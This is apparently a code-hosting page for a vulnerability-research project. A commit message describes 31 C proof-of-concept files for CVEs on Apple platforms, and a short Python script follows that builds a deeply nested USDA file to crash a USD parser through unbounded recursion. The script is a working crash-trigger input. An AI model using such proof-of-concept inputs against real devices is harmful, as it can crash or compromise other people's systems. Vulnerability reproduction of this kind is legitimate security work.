- 31 C POC files, one per CVE folder: full seed construction + trigger + main(), self-contained, no app dependency. All compile clean with clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded oracle on this host. - CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the mechanism behind the cm.rpu death oracle on the simulator build. - Harness fixes: glyphCount guard, MachOInspector size guard, ModTools clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display. - POC comments rewritten English-only (31 swift + arc.rr + 5 py). - README (en/zh): C twin column, .c anatomy section, compile/run examples, C oracle verification status. - Dead if-let binding removed from Identity summary; v2.0 build 3.
17 lines
577 B
Python
17 lines
577 B
Python
#!/usr/bin/env python3
|
|
def build_usda(depth=2000):
|
|
"""libusd_ms 24.1.30 caps USDA declaration nesting in 24.1.32; 27.0 recurses unbounded."""
|
|
head = "#usda 1.0\n\n"
|
|
body = "".join('def Xform "n%d" {' % i for i in range(depth))
|
|
tail = "}" * depth
|
|
return (head + body + tail + "\n").encode()
|
|
|
|
|
|
# --------------------------------------------------------------------------- CFF stack bomb
|
|
|
|
if __name__ == "__main__":
|
|
import sys
|
|
out = sys.argv[1] if len(sys.argv) > 1 else "deep_nest.usda"
|
|
open(out, "wb").write(build_usda())
|
|
print("wrote", out)
|